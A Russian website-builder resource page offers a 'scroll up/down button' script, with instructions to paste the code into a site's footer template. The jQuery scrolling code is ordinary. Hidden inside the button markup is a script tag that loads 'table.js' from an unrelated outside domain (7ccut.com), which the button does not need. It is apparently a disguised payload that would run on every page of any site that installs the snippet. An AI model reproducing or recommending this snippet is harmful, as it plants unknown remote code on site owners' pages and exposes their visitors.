Меню сайта
Наш опрос
По каким дням вы чаще всего занимаетесь сайтами?
Всего ответов: 2
Статистика

Статистика:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Форма входа
Логин:
Пароль:
Регистрация домен
регистрация доменов
домен RU - 99 руб
домен РФ - 99 руб
Зарегистрируй себе домен! имя: 

2domains.ru
Друзья сайта
Главная » Файлы » Сайтостроительство » Другие скрипты

Кнопка вверх и вниз
21.01.2014, 12:25

Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует допполнителных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.
Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>  
<img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>  
<script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>  
<img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">  
</a></div>  

  <script>  
  var go_down = jQuery('body');  
  jQuery(function() {  
$("#Go_Top").hide().removeAttr("href");  
if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")  
var scrollDiv = $("#Go_Top");  
$(window).scroll(function() {  
if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")  
else $(scrollDiv).fadeIn("slow")  
});  

$("#Go_Bottom").hide().removeAttr("href");  
if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")  
var scrollDiv_2 = $("#Go_Bottom");  
$(window).scroll(function() {  
if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")  
else $(scrollDiv_2).fadeIn("slow")  
});  

$("#Go_Top").click(function() {  
$("html, body").animate({scrollTop: 0}, "slow")  
})  
$("#Go_Bottom").click(function() {  
$("html, body").animate({scrollTop: go_down.height()}, "slow")  
})  
  });  
  </script>


Добавить в
Категория: Другие скрипты | Добавил: smasto
Просмотров: 369 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Может вам понравятся другие материалы сайта:
Мини-профиль
Сегодня 16.05.2024 10:07
Аватар
Информация

Вы не авторизованы, пожалуйста зарегистрируйтесь или авторизуйтесь!
Поиск
Полезные ссылки Хостинг фото
Мини-хостинг Файлов
Мы в twitter
Admin новости
Добавлено 27.02.2013 | Добавил WeB-DiZiC

Вчера я решил попробовать заработать хоть копеечку на этом проекте и добавил рекламный блок smile Если вы в нем найдете интересную рекламу то смело нажимайте на нее smile

Добавлено 08.10.2012 | Добавил WeB-DiZiC

Добавлена возможность авторизации через социальные сети "Вконтакте" и "Facebook"

Добавлено 24.09.2012 | Добавил WeB-DiZiC

Сайт переехал на платный домен и теперь мы доступны по web-dizic.ru

Реклама от google



WeB-DiZiC by Al-Sher
Рекомендуемый браузер Chromе
Не советуем использовать IE!
/a>